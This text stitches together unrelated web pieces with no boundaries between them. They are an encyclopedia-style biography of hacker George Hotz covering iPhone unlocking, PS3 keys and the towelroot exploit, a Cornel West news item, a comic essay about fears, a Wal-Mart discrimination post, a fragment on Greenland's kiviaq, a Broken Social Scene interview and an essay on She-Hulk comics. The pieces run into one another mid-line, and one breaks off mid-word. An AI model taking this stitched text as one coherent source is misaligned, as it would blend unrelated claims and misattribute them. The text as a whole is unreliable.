In August 2007, seventeen-year-old George Hotz became the first person reported to carrier-unlock an iPhone.[7][8][9][10] According to Hotz's blog, he traded his second unlocked 8 GB iPhone to Terry Daidone, the founder of Certicell, for a Nissan 350Z and three 8 GB iPhones.[11]
In September 2007, an anonymous group achieved a software-only unlocking method to complement Hotz's hardware-based unlocking method.[12]
On July 13, 2010, Hotz announced the discontinuation of his jailbreaking activities, citing demotivation over the technology and the unwanted personal attention.[13] Nevertheless, he continued to release new software-based jailbreak techniques until October 2010.[14]
PlayStation 3 security [ edit ]
In December 2009, Hotz announced his initial intentions to breach security on the Sony PlayStation 3. Five weeks later, on January 22, 2010, he announced that he had performed his first theoretical achievement. This consists of the initial read and write access to the machine's system memory as well as hypervisor level access to the machine's CPU.[15]
On January 26, 2010, Hotz released the exploit to the public. On March 28, 2010, Sony responded by announcing their intention to release a PlayStation 3 firmware update that would remove the OtherOS feature from all models,[16] a feature that was already absent on the newer Slim revisions of the machine.[citation needed]
On July 13, 2010, never having achieved any method of reading, installing, or modifying software on the PS3, Hotz posted a message on his Twitter account stating that he had abandoned his efforts of trying to crack the PS3 any further due to the system security's extreme difficulty.[17]
On December 29, 2010, notable hacking group fail0verflow, known for the reverse engineering of security models found in consumer electronics devices, performed an academic presentation at the 27th Chaos Communications Congress technical conference, of their accomplishments with the PlayStation 3. They presented the methods they'd devised for having successfully penetrated the device's security model, yielding the root signing and encryption keys. These keys are the essential element of a full (and even minimally usable) breach, capable of installing and running any new software on any PlayStation 3 unit.[18][19]
On January 2, 2011, Hotz posted a copy of the root keys of the PlayStation 3 on his website.[20] These keys were later removed from his website as a result of legal action by Sony against fail0verflow and Hotz. In response to his continued publication of PS3 exploit information, Sony filed on January 11, 2011 for an application for a temporary restraining order (TRO) against him in the US District Court of Northern California.[21] On January 14, 2011, Hotz appeared in an interview on G4's The Loop, where he explained his involvement with the PlayStation 3.[22][23]
Sony lawsuit [ edit ]
After the root keys of the console were published, Sony initiated litigation against George Hotz and predecessor PlayStation 3 hacking group known as fail0verflow. Hotz published his commentary on the case, including a song about the "disaster" of Sony.[24] Sony in turn has demanded social media sites, including YouTube, to hand over IP addresses of people who visited Geohot's social pages and videos; the latter being the case only for those who "watched the video and 'documents reproducing all records or usernames and IP addresses that have posted or published comments in response to the video".[25]
PayPal has granted Sony access to Geohot's PayPal account,[26] and the judge of the case granted Sony permission to view the IP addresses of everyone who visited geohot.com. In April 2011, it was revealed that Sony and Hotz had settled the lawsuit out of court, on the condition that Hotz would never again resume any hacking work on Sony products.[27]
At the end of April 2011, an anonymous hacker broke into the PlayStation Network and stole personal information of some 77 million users. Hotz denied any responsibility for the attack, and said "Running homebrew and exploring security on your devices is cool; hacking into someone else's server and stealing databases of user info is not cool".[25]
Rooting the AT&T and Verizon Galaxy S5 [ edit ]
In June 2014, Hotz[28] published a root exploit software hack for Samsung Galaxy S5 devices used in the US market.[29] The exploit is itself built around Linux kernel CVE-2014-3153,[30][31] which was discovered by hacker Pinkie Pie, and it involves an issue in the Futex subsystem that in turn allows for privilege escalation. The exploit, known as towelroot, was designated a "one-click Android rooting tool"[31] by the hacking community because it was designed to be installed quickly like an App; other rooting hacks were typically uploaded from a nearby PC with a cable and necessitated rebooting the device with a special set of key presses.
Although originally released for the Verizon Galaxy S5, the root exploit was made compatible with most Android devices available at that time. For example, it was tested and found to work with the AT&T Galaxy S5, Nexus 5, and Galaxy S4 Active. Updates continued to be applied to the root exploit to increase its capabilities with other devices running Android.[32] Updates to the Android operating system closed the source of the exploit. Samsung officially responded to the towelroot exploit by releasing updated software designed to be immune from the exploit.[33]
Career [ edit ]
In addition to having made a meaningful side income from public donations solicited for his exploits,[8] Hotz has been employed at Facebook and Google.
On June 27, 2011, ZDNet freelance reporter, Emil Protalinski reported that according to a Facebook spokesman, Hotz had been hired by the company in an unknown role.[34] However, according to a CNET article, he had actually been employed since May, which was confirmed by Facebook.[35] In January 2012, Hotz was no longer employed by Facebook.[8][36]
On July 16, 2014, Google hired Hotz to work in their software security auditing team called Project Zero, which "hopes to find zero-day vulnerabilities before the NSA".[37] Hotz worked in Project Zero for 5 months where he developed Qira - an open source program for dynamically analysing application binaries.[38]
In January 2015, Vicarious.com hired Hotz to develop AI algorithms where he worked for 7 months.[citation needed]
Since September 2015, Hotz has been working on his own AI startup called comma.ai.[39] In an interview with Bloomberg, Hotz revealed he is building vehicular automation technology based on artificial intelligence algorithms. Hotz has built a working self-driving 2016 Acura ILX, which he demonstrated on the I-280 in a video.[3] The video prompted a cease and desist letter from the California Department of Motor Vehicles.[40] Hotz wants to sell his technology to Tesla Motors and he has reported to have talked to CEO Elon Musk and is working on proving his technology to be superior to that of Mobileye, which, at the time, was used for Tesla Autopilot.[3][3] [41][42] Hotz claims that Musk offered him $12 million (minus $1 million for every month it took Hotz to work on the task) to create a driving system that could replace the MobilEye solution currently used in Tesla vehicles.[43] Tesla later released a statement on their website citing corrections to the Bloomberg article, stressing that their autopilot system was developed in-house, with a vision chip component from MobilEye, instead of one separate autopilot system manufactured by MobilEye, as suggested by Bloomberg reporter Ashlee Vance.[41] Tesla CEO Elon Musk offered advice on Hotz's self-driving car project in a December 2015 interview.[44]
On October 27, 2016, the NHTSA informed Hotz that this product was legally required to comply with Federal Motor Vehicle Safety Standards, and requested information that would confirm such compliance.[45] A day later, George Hotz tweeted from Shenzhen that the comma one was cancelled.[46] Kristen Lee stated on Jalopnik that the NHTSA was simply trying to open a dialog, and commented that "Instead, they got the worst attitude possible from Silicon Valley: try and regulate us, thought leaders, and we’ll take our ball and go home."[47]
comma.ai open sourced their self driving car software (called openpilot) on November 30, 2016, emphasising its intended use for research without any warranty.[48][49]
On September 14th, 2018, comma.ai announced Hotz would become the Head of Research Team for the project, and appointed Riccardo Biasini as the new CEO of the company.[50]
Other activities and recognition [ edit ]
Hotz was a finalist at the 2004 ISEF competition in Portland, Oregon with his project "The Mapping Robot". Recognition included interviews on the Today Show and Larry King.[51] Hotz was a finalist at the 2005 ISEF competition, with his project "The Googler".[52] Continuing with robots, Hotz competed in his school's highly successful Titanium Knights battlebots team.
Hotz competed in the 2007 Intel International Science and Engineering Fair, a science competition for high school students, where his 3D imaging project, entitled "I want a Holodeck", received awards and prizes in several categories including a $20,000 Intel scholarship.[53] He travelled to Sweden to speak about the project at the Stockholm International Youth Science Seminar.[54]
Hotz has received considerable attention in mainstream media, including interviews on the Today Show, Fox, CNN, NBC, CBS, G4, ABC,[55] CNBC,[2] and articles in several magazines, newspapers, and websites, including Forbes,[56] and BBC.[57]
In March 2008, PC World magazine listed Hotz as one of the top 10 Overachievers under 21.[58]
In August 2013, Hotz attended DEF CON with Carnegie Mellon's Plaid Parliament of Pwning (PPP). PPP placed first in the DEF CON Capture the Flag (CTF) tournament.[59] Later in 2013, Hotz also competed in CSAW 2013. Working alone, Hotz took first place under the pseudonym tomcr00se.[60] In August 2014, Hotz once again competed as part of Carnegie Mellon's Plaid Parliament of Pwning to win the DEF CON CTF tournament for a second year in a row. The team also won the DEF CON "Crack Me If You Can" tournament.[61]
See also [ edit ]
blackra1n, an iPhone jailbreak application produced by George Hotz.It is absurd to call President Barack Obama a “socialist” when he is “very much an extension of the corporate state that has been squeezing out the juices of our democracy,” according to Princeton professor and famed black intellectual Cornel West.
West, who had been a supporter of Obama, called the president “another black mascot” of “Wall Street oligarchs” on an MSNBC panel in April. He stood by and clarified by those remarks Wednesday on CNN’s Piers Morgan Tonight.
“I supported by dear brother Barack Obama because I wanted to bring an end to the age of Reagan, greed running amok, indifference to poor people, and highly polarized body politic,” he said. “When he moves into office, who do we get? We get his economic team coming right out of Wall Street.”
West refused to say that he would vote for Obama again.
Watch video, courtesy of MoxNews.com, below:I used to be really scared of bugs, but come on, bugs aren’t that scary. Sure, some of them can sting and pinch and poison, but for the most part they’re all really small and harmless. Like I saw this silverfish hanging out on my bedroom wall the other day, and I looked at it, and for a second I was like, man, I hate bugs. But after another second I was like, I’m not scared of bugs, I’m not scared of this silverfish, that silverfish should be scared of me. So I reached for a slipper and – smack! – right against the wall. I had to clean it up though, and now there’s kind of a little stain. But I don’t really know how I’m supposed to go about getting it out of the bedroom without killing it. Whatever, at least I’m not really scared of bugs anymore.
I used to be really afraid of getting in a car accident. But then I thought, why am I so scared? I’ve already been in like ten car accidents, seven of them were definitely my fault, and I’m no worse for the wear. Obviously I’m not trying to diminish the seriousness of automobile safety or anything like that, and yeah, if you or a loved one has been through a life-altering car crash, I hope I’m not coming across as insincere. It’s just that, from my point of view anyway, from my experience, I can’t afford to be scared of car accidents anymore. Like I said, I’ve already been in like a dozen, maybe fifteen or sixteen car accidents, the majority of them my fault, like this one time I was driving a big cargo van and I sideswiped this lady’s Jaguar, it was a really slow speed, like we were in a parking lot, but still, I got out of the car and she was like, “My Jaguar! My baby!” and I apologized and, yeah, that sucks, I didn’t want to mess up her Jaguar, but the insurance took care of everything. And besides, a year or two years later, I was driving my car on the highway when an SUV sideswiped my two-door Hyundai Accent at full highway speed. And the SUV pulled over and these big meat-heads came out and the one guy gave me two hundred bucks, cash, like he wasn’t negotiating, he wasn’t saying to me, “Do you think we could settle this for two hundred dollars?” no, he just handed me the cash, got back in his car and drove away. And in the cosmic scale of justice and the universe and everything, I think I’m tit-for-tat with that Jaguar lady, and so what do I have to be afraid of? The universe will take care of everything, me being scared isn’t going to change a thing.
And it’s like, I used to be terrified of flying. I never had any panic attacks or anything, you know, every time that I’ve had to fly somewhere, I’ve always boarded the plane, taken my seat, everything without incident. But I used to sit there in complete terror as the plane taxied down the runway, imagining how just after takeoff, there’d be a sudden loss in power, everything would go dead, and I’d actually feel it, the sensation of being subtly lifted from my seat as my body and everything around me starts to free-fall. But come on, I can’t waste my time being afraid of planes. Nothing’s going to happen. And if it does happen, whatever, I just take three or four Xanax right before the flight anyway. If that free-fall thing actually started to happen, if I wasn’t already in the middle of a chemically-induced superpower nap, I’d probably enjoy it, the floating on the plane matching the floating in my head.
And I always used to get so bent out of shape about global warming. I’d imagine all sorts of prehistoric bugs and snakes making their way to my northeastern climate. But then people started telling me stuff like, “It’s not just global warming, OK Rob, it’s climate change.” And I’m like, that’s not too bad. More extreme seasons? I actually kind of prefer that. Because, don’t you hate it when you get all the way to March or April and there’s hardly been any snow? You can’t go skiing, the schools never close, I never get to call up my boss and say stuff like, “I don’t know if I’m going to be able to make it in today.” No, I want like real seasons. And if the climate’s changing around me to make that actually happen, then I’m totally behind it. Or if not behind it, at least I’m not scared anymore.
I used to be really scared that I was too scared about everything, always worrying, playing out these horrible nightmare scenarios in my head. But I’m not scared anymore. Because what’s to be scared of? I heard this song on the classic radio station, and at the end, the singer records himself in a really old-time record-sounding voice, he says something like, “You don’t have to be scared of anything, except for fear itself.” And it really just stuck with me, because nothing’s going to happen, right, it’s like that car accident I was talking about before, even if something does happen, how bad can it be? What’s the worst that can happen, really?The New York Times reported yesterday that Wal-Mart is rolling out "women-friendly plans" to buy more from women-owned businesses and to help women who work for Wal-Mart's suppliers. While the company acknowledged that the "majority" of its own employees are women, its plan (as reported in the newspaper) seems to ignore the fundamental disparities in salaries and promotions that were at issue in a nationwide class action lawsuit that the Supreme Court ruled on in June.
According to evidence presented in the lawsuit, women made up more than 80 percent of hourly supervisors, but they held only a third of the store management jobs, and there were fewer women at each step up the management ladder. The plaintiffs also presented evidence that women working at Wal-Mart made five to 15 percent less than similarly situated men with the same seniority and performance. Women were paid $5,000 less than men, even though they had higher average performance ratings in hourly jobs. While the Supreme Court ruled that the case could not go forward as a nationwide class action, many of the individual women are proceeding with their discrimination claims against Wal-Mart.
The lawsuit brought to light evidence, submitted by women workers from around the country, that Wal-Mart operates on a boys' club model, in which women workers are denigrated and managers feel free to make statements like women will "never make as much money as men," or that women could be paid less because they were "working just for the sake of working," while men were supporting a family, and that women's proper role is "in the kitchen," not in the ranks of upper management.
Wal-Mart's new "women-friendly plans" do nothing to address the stereotypes, pay disparities, and gender-based gaps in promotions highlighted by the lawsuit. Wal-Mart should mobilize its corporate structure to stamp out the use of sex stereotyping in hiring and pay decisions and face accountability for existing disparities caused by discrimination.
Learn more about workers' rights: Sign up for breaking news alerts, follow us on Twitter, and like us on Facebook.As winter and ‘dark time’ tighten their icy grip on the Arctic, several families in the far north of Greenland have an unusual and pungent delicacy to look forward to. For centuries the people of one of the world's northernmost inhabited settlements have used an ingenious way of storing food ready for lean times. This traditional Inuit method is still very much in use today and this is what the Human Planet team went to Siorapaluk (the most northerly native village in the world) to film. Watch John Hurt recite the recipe for rotten seabirds:
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The dish on the menu is kiviaq and at first sniff it divides the film crew – from those who were strangely curious to those who wanted to retch. Ikuo and his son showed us how kivia |
with McEntire, Sea and Cake's Sam Prekop, Tortoise's Doug McCombs, Pavement's Spiral Stairs, former Death From Above 1979 singer-drummer Sebastien Grainger, Poi Dog Pondering's Susan Voelz, Helen Money's Alison Chesley, and the Weakerthans' Jason Tait can all be heard (somewhere) on the album.
Recorded at McEntire's Soma Studios in Chicago and Shaw and Grainger's Giant Studios in Toronto throughout last year, the new record does not, however, feature the talents of producer Dave Newfeld, who played a sizable role in shaping the band's self-titled release and their 2002 breakout, You Forgot It In People. But rejuvenation and reinvention are intrinsic to these anthem-prone Canadians; if you're looking for stability and constancy, it might be best to look elsewhere.
As if all of that info wasn't enough to get the BSS blood churning once again, band co-founder Kevin Drew recently took a brief break from mixing to speak with us about the gestation of the new album and hinted at what we can expect to hear. The interview-- along with a handful of new North America and European dates set to take place around the time of the album's release-- is below.
Pitchfork: Your last album came out five years ago but, considering the "Broken Social Scene Presents" albums from you and Brendan and the touring you guys did behind them, it's almost like you never left.
Kevin Drew: That's why the "Broken Social Scene Presents" records worked. After the tour for Broken Social Scene in 2006, it was a very confusing time. I know I say it a lot-- it almost sounds like I use it as some marketing tool-- but if there was any time when we were going to break up it was after that tour. Andrew [Whiteman] and Charles [Spearin] split. And Brendan [Canning] and Justin [Peroff] and I had to go out and find a new band and try to make this "Broken Social Scene Presents" thing work on the road. But we ended up with a great band and we found [guitarist] Sam Goldberg, who is now a full-time member. On this new record, Sam brings such a melodic sound-- we call him "Stadium Sam," he's our stadium rock guy. And then, in 2008, Andrew and Charlie returned, and we ended up touring the world that whole year. That's when this album's core six-piece formed.
I love the self-titled record to death but it was difficult to make. But that point is so over for us. I don't think we've ever really entered this territory of just feeling amazing about everything like it is right now.
Pitchfork: After working in Toronto with producer Dave Newfeld on You Forgot It In People and Broken Social Scene, you decided to go to Chicago with Tortoise's John McEntire for the new album. How did that come about?
KD: It goes back to when [Stars bassist] Evan Cranley was trying to figure out where to record their album In Our Bedroom After the War, and-- knowing that I was a massive fan-- he just casually said to me, "I spoke to your boy John and he seemed like he was into producing the new Stars album, but we're going to Vancouver." I just kind of spit my cigarette out and was like, "What do you mean? You can work with John McEntire?!"
Then, in October 2008, we fooled around and had a session in John's studio. It was so much fun, and that's when the wheels started turning. So we had to start figuring out what we were going to do in terms of Newf, because there were still issues that I hadn't worked out with him. A bunch of us didn't know how we were going to do this record without Newfeld because he played such a massive, massive role in all our success. He was very involved-- I mean, he used to come on the talkback and suggest lyric changes [laughs]. So we were quite scared to take a lot of it on ourselves. I called Newf up and told him what was going on and he gave his blessing, and that actually was a catalyst for him and I getting back on the same page, which I'm really grateful for because he is one of my favorite people in the world.
Then I suddenly I found myself in a whole different world. Johnny is very, very different. Very quiet. He lets you figure it out. Sometimes we would bust into tunes and be like, [takes deep breath] "OK, let's see what he thinks about this one." We didn't really know how he was feeling about everything for a little while. Then one night a couple of us went out for drinks with him and at about the fourth drink in he started opening up and telling us what he thought about the songs. It became a trend. And then it became sort of a joke-- a band member would come up to me and be like, "I'm really tired and I can't go out tonight but would you ask John how he felt about my part in this song?" [laughs] I consider John a good friend now and I'm happy to say he's joining the band. Obviously, he's still got Sea and Cake and Tortoise-- but when he's free, he's going to come out and play with us. I'm just trying to live my teenage dreams over here, and this was definitely one of them.
Pitchfork: Was it tough to get people like Feist, and members of Stars and Metric involved this time around?
KD: Well, there was a point where it looked like it was going to be a core-member record and we weren't going to get those people because they were so busy; Stars were making a record, Metric was on the road. We thought, "It's OK, we can do this without them. We can move on. It's not like that anymore." But when we brought Johnny to Toronto and set up it was immediately like old times. So, right at the end, everybody made it on.
We played a show in the summertime when all of us were together and I think it was our favorite show. After it, there were a few days when we just wished we could go into the studio and do a ground-up album and then take everyone out on the road, but it wasn't in the cards. It wasn't what the others wanted. It gets confusing about who brings what to the album but everyone just came in and put some visiting touches on some songs; a few vocals, horns, guitar lines. I really want to be cautious talking about this because the last few years of my life have been trying to figure out a mature way to not market your friends and overuse people's names and misguide listeners to thinking this person or that person's involved. So: Everyone visited the record, but it's not a ground-up album.
There is one tune where all the ladies sing together-- it was originally my favorite instrumental on the album [laughs]. But [Metric singer] Emily [Haines] came out of the woodwork and dropped a vocal on it and it broke our hearts. Then Charlie wrote a nice e-mail to Leslie [Feist] and [Stars singer] Amy [Millan] saying, "If you sang on this I think it would be really beautiful." And they did and I can't say how grateful I am for it. And in the Toronto sessions we got Les and Amy on a crazy jam with us all, too.
And now we have some new things on the table, too. Like Lisa Lobsinger, who we plucked from her life and dragged onstage during the Broken Social Scene tour and really put her in a serious situation to step up to the plate and suddenly become the female vocalist. She's all over this new record and she's going to come out on tour with us again.
Pitchfork: Would you say the making of this record was more like You Forgot It In People than Broken Social Scene or different entirely?
KD: It's different entirely. We really don't have anything to prove. So many bands have come out in the last five years and sometimes you question your relevancy. But when it locks into place you just keep going. Right now, everyone's in place-- I can't stress that enough. Between Chicago and Toronto we recorded about 42 tunes. Obviously some of them might be a kazoo and an 808 but we got a lot of ideas down.
Pitchfork: Are there any themes running through the album?
KD: The Canadian music scene boomed during the George Bush era but now we're in the "yes, we might be able to" world. We had lots of conversations about how we could sing about our views and opinions without trying to make a poor man's R.E.M. song. It was a challenge to personalize everything and embrace the state of the planet. I love a distraction as much as the next guy but we always feel some urgency to speak about what's going on. I remember when U2's single ["Get On Your Boots"] came out, I thought, "All right, what's it gonna be? What's the man gonna sing about?" And Bono's opening line was like, "I don't wanna talk about politics, I just wanna rock!" And I thought, "Uh oh-- we're in trouble." This is a crazy state of limbo right now and we tried to embrace it and bring those subjects up here and there. We've always been a band that sings about exactly what's inside of us and exactly what's happening outside as well. Like, if we're screaming, let's have something to scream about.
Pitchfork: It sounds like you guys are in a pretty great headspace at the moment.
KD: I can't tell you how happy we are. There are so many exciting albums coming out this year and that's great for us because when we do the festival circuit we get to bum rush the stage. I still have to redeem myself to the National, though. We played a show together in Mexico City and they dedicated a song to me-- and then they stood side stage during our set and saw me screaming at the monitor guy for ten minutes. It's a bit of a regret-- I'm glad they didn't Wayne Coyne me on that one.
Right now, we have two mottos: "kill 'em with kindness" and, um, "if it's yellow, let it mellow."
Pitchfork: That sounds like a potential album title to me...
KD: [laughs] I'm sure somebody copyrighted "if it's yellow, let it mellow"-- it must be patented.
Broken Social Scene:
05-01 San Francisco, CA - The Fillmore
05-03 Los Angeles, CA - Henry Fonda Theatre
05-07 New York, NY - Webster Hall
05-13 London, England - Brixton Academy *
05-14 Minehead, England - All Tomorrow's Parties
05-17 London, England - Heaven
05-18 Amsterdam, Netherlands - Melkweg
05-19 Cologne, Germany - Burgerhaus Stollwerck
05-21 Paris, France - La Maroquinerie
06-19 Toronto, Ontario - Toronto Island *#
with Pavement
with Band of HorsesMarvel Comics’ She-Hulk is perhaps the most high-profile of their many female characters that are derivative of successful pre-existing male characters. However, three decades since she first appeared in Savage She-Hulk #1, writers (especially John Byrne) have worked to develop the character into someone who is not merely a shadow of a male character with no defining personality or history of her own in titles like The Avengers, Fantastic Four and eventually her second solo book, The Sensational She-Hulk. In fact, by the time Dan Slott got around to writing her solo title in 2005, the character’s winking reference to her own status as a comic book character became one of her defining features, and Slott developed this into a knowing and charming run, that while not free of problems, represents some of Marvel’s best output in the 21st century.
At the heart of Dan Slott’s run on what are referred to as She-Hulk volumes 1 & 2 (despite being the 3rd and 4th volumes of She-Hulk titles) is an alternately critical and nostalgic concern with the subjects of continuity and rupture in serialized superhero comic book narratives. Slott uses the space of a marginal title that probably never sold very well to undertake a meta-narrative project that is as much enmeshed in the insularity of the mainstream comics world (what many people refer to as “continuity porn”) as it is a critique of such obsessions.
There is a sense of adult whimsy that really helps to keep this run afloat. Some comics critics, like Jeet Heer, may claim that “superheroes for adults is like porn for kids” (in other words, a bad idea) or that it is time to abandon superheroes altogether, but I think Slott’s work here proves that wrong, as it eschews the self-serious attitude of typical post-Watchmen/Dark Knight “adult” superhero comics in favor of embracing the ridiculousness of the genre that is best appreciated by long-time fans who have learned to have a sense of humor about their beloved Marvel comics stories. Aiding She-Hulk in this meta-project is Stu Cicero, who often seems to be a mouthpiece for Slott himself, though that kind of problematic direct voicing of the author’s position on the tradition of superhero comics is often skewered by the series’ afore-mentioned sense of humor.
Stu works in the law library at Goodman, Lieber, Kurtzberg & Holliway, where the majority of the action in Slott’s two She-Hulk runs occurs. Jennifer Walters aka She-Hulk begins working at this firm that specializes in “super-human law” after losing her job as an assistant D.A. (all the times she helped to save the world left all the cases she tried susceptible to appeal as owing her their lives effectively prejudices all juries) and then being kicked out of Avengers’ Mansion for her irresponsible hard-partying ways. Her new boss’s insistence that she work in her civilian guise of Jennifer Walters means her identity as She-Hulk won’t compromise her cases. Furthermore, her connections to the superhero community would be helpful in drawing new clients.
As a law firm that specializes in trying cases involving superhumans, one of its greatest assets is the comic book section of its law library. The conceit in these series is that Marvel Comics exist within the Marvel Universe (something that has been established since the very early days—Johnny Storm is shown reading a Hulk comic back in Fantastic Four #5 and the Marvel Bullpen has been depicted in various titles countless times), telling the “true” stories of the adventures of Marvel superheroes. Stamped by the Comics Code Authority, “a Federal Agency,” they are admissible as evidence in court. Now, this is of course ridiculous. The Comics Code Authority was never a federal agency, but even more absurd is the idea that comic books would ever be taken so seriously. How could anyone expect the stuff depicted in comics between 1961 and 2002 to be internally consistent? How can anyone expect that everything printed in a Marvel Comic, down to the most obscure detail be made to jive with every other thing as to be of value in a trial or lawsuit? But therein lies what makes this run of She-Hulk so great. The comic has a lot of respect and attention to the minute convolutions of Marvel Comic history—one might even go so far to say it has a reverence for them—while never forgetting they are just funny books. The fun is in engaging with the stories to find ways as fans to make sense of it all (or just make fun of the fact that it doesn’t make sense), but not to take it all so seriously that you come off as if trying to argue a federal case from comic books.
It is with this conceit, tongue planted firmly in cheek and the ability to comment on the very kind of comics that She-Hulk is an example of firmly enmeshed into its narratives, that Slott is able to get away with a lot. Foremost, among these things is to examine the role of sex and She-Hulk’s sexuality in her past and the way it has shaped views of her character. This is not free of problems and I am conflicted about how it is depicted, but it does not wholly undermine the project. While I appreciate the frank discussion of She-Hulk’s sexual appetites and the effort later to directly address and rehabilitate the adolescent approach to sex common to this whole genre of comics, there is a bit of slut-shaming going on and more than one gratuitous scene that is in line with the sexualized objectification of the She-Hulk character and her Amazonian voluptuousness. In other words, like many attempts at satire, this comic sometimes crosses the line into being what it seems to want to be commenting on. (But this is not just a problem with mainstream superhero comics—as much as I love Love and Rockets, I sometimes get the same feeling from Gilbert Hernandez’s work). It is for this reason that Juan Bobillo’s pencils seems to serve Slott’s series the best. It has a kind of soft rounded cartoony look that makes She-Hulk look a little chubby and cute in both her incarnations (more Maggie Chascarillo than Penny Century) and that gives the series’ whimsy a visual resonance. The rest of the artists on the series vary in their skill and appropriateness to the material and sometimes fall into the questionable range of Heavy Metal-like cheesecake.
The meta-fictional aspect of this She-Hulk run is one that has its origins in the first printing of her story, as the only reason she even exists is that Stan Lee, worried that CBS would use the success of The Incredible Hulk TV show to create a female version of the character, rushed one to print first in order to claim the trademark on her. From her first appearance, she served a meta-purpose—not the purpose of a story that needed telling or that was even necessarily worth telling, but the purpose of protecting control of a brand. That first series—Savage She-Hulk (1980-82)—demonstrates that in its weakness. The Sensational She-Hulk, (1989-94) written and drawn in part by John Byrne is by most accounts a lot better. I have only ever read a handful of its issues (they are on what I call my “all-time pull list”), but one of the things that is notable about the series is She-Hulk’s tendency to directly address the reader, breaking the fourth wall, so to speak. She often acts as if she knows she is in a comic—but even more often than that she is frequently depicted in various forms of wardrobe distress. There is also a whole issue of Fantastic Four (#275—also written by Byrne) that centers around her efforts to stop a tabloid publisher (depicted, not coincidentally, to look like Stan Lee) from going to print with nude photos of the emerald giantess, taken from helicopter as she sunbathed on the roof of the Baxter Building.
While not part of her original conception, unlike her cousin Bruce Banner/The Hulk, Jennifer Walters/She-Hulk’s transformation seems to have a lot more to do with uninhibited sexuality and sexual appetite than with anger. Sure, She-Hulk gets mad and smashes stuff, but since for the most part she can control her transformation and even prefers her She-Hulk identity and remains in it most of the time (for months or years at a time), anger has less to do with it than her desire. Slott’s run on the title explores a key part of that desire—Jennifer Walters’s desire to escape her petite less assertive human form. Jennifer Walters has the typical social inhibitions, especially ones that are used to deny ourselves pleasure and immediate gratification (for good or ill), while for the most part, She-Hulk has no such compunctions.
As such, the fact that She-Hulk engages in lots of casual sex becomes a defining part of her character and a conflict within the comic (her bringing home a string of men without proper security clearance to the Avenger Mansion for one-night stands is part of what gets her kicked out). It is a problematic, but fascinating aspect—on the one hand, explicitly addressing sex and sexuality is something Marvel comics hardly ever do in a way that could be considered mature (and by mature, I don’t mean humorless—sex can and often is funny, absurd, irrational), but as I mentioned before it also falls into the trap letting sexuality overly define her character. At one point, she forced under oath to list all the people she’s slept with as She-Hulk (too many to actually list in the comic, instead the panels transition to the court reporter reading back a scrolling list) as opposed to how many she has slept with in her normal human identity (around three). It is this kind of stuff that undermines Slott’s work to establish her character as a formidable lawyer—not because we don’t see her solving cases and doing research, all the things trial lawyers do, but because her sexualization is always at the forefront no matter what else she is doing.
Yet, despite this short-coming, Slott’s She-Hulk series tells some interesting stories and uses its self-awareness to explore some of the very troubling notions of sex and sexuality in Marvel comics that plague the title. Foremost among these is a story revolving around a sexual assault case against the former Avenger, Starfox (not to be confused with the anthropomorphic fox video game character).
Even though Starfox was first introduced in the 1970s, he is definitely a character often associated with the 1980s. In addition to his super strength and vitality and his ability to fly, his main power makes him, in the words of Stu Cicero, “a walking roofie.” He has the power to calm people down, make them open to suggestion, “stimulate their pleasure centers” (whatever that means) and make them infatuated with him. Starfox is a character, at least in his hey-day as an Avenger, who was often played for a laugh. He was a libidinous lothario that the ladies drooled over and/or who constantly pursued them. However, the nature of his power puts his appeal into a questionable zone. What does it mean when your power influences people to want to sleep with you? How is that really different from a roofie or being a mind control rapist like the Purple Man? As a kid I never thought about it, but the adults who were writing the Avengers back in the mid-80s should have known better.
Slott clearly does know better and uses the plot arc of Starfox being accused of abusing his power to put this explanation into the mouth of Stu Cicero. Stu uses an example even folks not familiar with superhero comics should be able to understand: Pepe LePew—the horny skunk who is the Warner Bros. cartoon poster child for normalizing sexual assault through comedy.
Starfox’s dismissive attitudes to the allegation and his apparent lack of regret serves as a kind of stand-in for the stereotypical superhero comics reader, biding his time through “the boring parts” (women complaining about harassment and assault) and awaiting his eventual exoneration and/or escape to go on more salacious intergalactic adventures. The victim’s testimony, however, leads to She-Hulk realizing that her own past tryst with Starfox may have been influenced by his power. She tracks him down, and he gets his “exciting part”—a fight with She-Hulk wherein she kicks him in the nuts, but he is transported off-planet and out of reach by his influential and cosmically powered father (Mentor of the Titan Eternals – more ridiculous obscure continuity stuff). It seems that even in the comic book world the powerful and well-connected can escape the consequences of their actions. But beyond that, the story works to underscore how superhero comics have a history of not following up with the actual consequences of the puerile sexual behaviors and attitudes that have long permeated the genre. Later, it turns out that Starfox’s abuse of his power is a side effect of one of his evil brother Thanos’s schemes. In that way, he is left off the hook for the ultimate consequences of his sexual violence. He is allowed to remain “a hero” to be used by some future writer. However, at the same time as a result of seeing the possible abuse of his powers first hand, he has Moondragon (a character with her own history of abusing her powers for sexual dominance) use her psychic powers to turn them off, so he could never do it again intentionally or inadvertently.
For some people, that last bit of retconning is what is wrong with superhero comes, but I love that kind of stuff. There is a certain pleasure in reading a story that allows the actions of the past to stand, but recasts them in a way that takes into account a broader consciousness of the societal meaning of those actions. In this way, those old Avengers issues with a skeevy Starfox still exist, but now we know that skeeviness was not “heroic.” It allows the reader to correct his or her interpretation of the past, not by convincing us that how he acted in the past was acceptable (or just part of the time in which it was produced and thus excusable), but by reinforcing that it wasn’t. Sure, ideally I may have liked Starfox to have turned out to be the kind of douchebag that he seems to be without any caveats (I never liked the character), but at least now some writer who insists on using him has an excuse for his powers not working the same way anymore.
Of course, serialized superhero comics being what they are Starfox’s history remains in an ambiguous space. Everything that happens in these She-Hulk issues could be ignored by a future writer, and Slott seems to have written the series with the knowledge that he was toiling in a sort of bubble within the Marvel Universe. He puts words to that effect into Jennifer Walters’s mouth (and there is a new She-Hulk series starting in February, so we’ll see if that’s the case). But this willingness to grapple with comic book continuity (and an apparently frightening knowledge of it and its inconsistencies) is part of what makes the comic so compelling. Yes, on one level it appears to be more of the insular continuity obsessed dreck that weights down too many titles and definitely Marvel’s big “event” series, but rather than take it seriously, Slott brings the discrepancies and ethical slips to the fore as a way to invigorate his stories with pleasing ambiguity. The inclusion of material comics within the comic narratives lets those ambiguities exist as the seeds of possibility rather than mistakes to be fixed. Peter Parker profiting from his constant defrauding of Daily Bugle publisher, J. Jonah Jameson, the fact that half the beings in the universe were killed by Thanos (and later brought back), the existence of Duckworld, cosmic beings like the Living Tribunal, the contradictory fates of the Leader, and following up with undeveloped characters and stories that have their origins in crap like Jim Shooter’s Secret Wars—all of these things are explored in Slott’s She-Hulk series not with the pedantic obsession of the stereotypical comic nerd, but with good-natured humor and critical nostalgia.
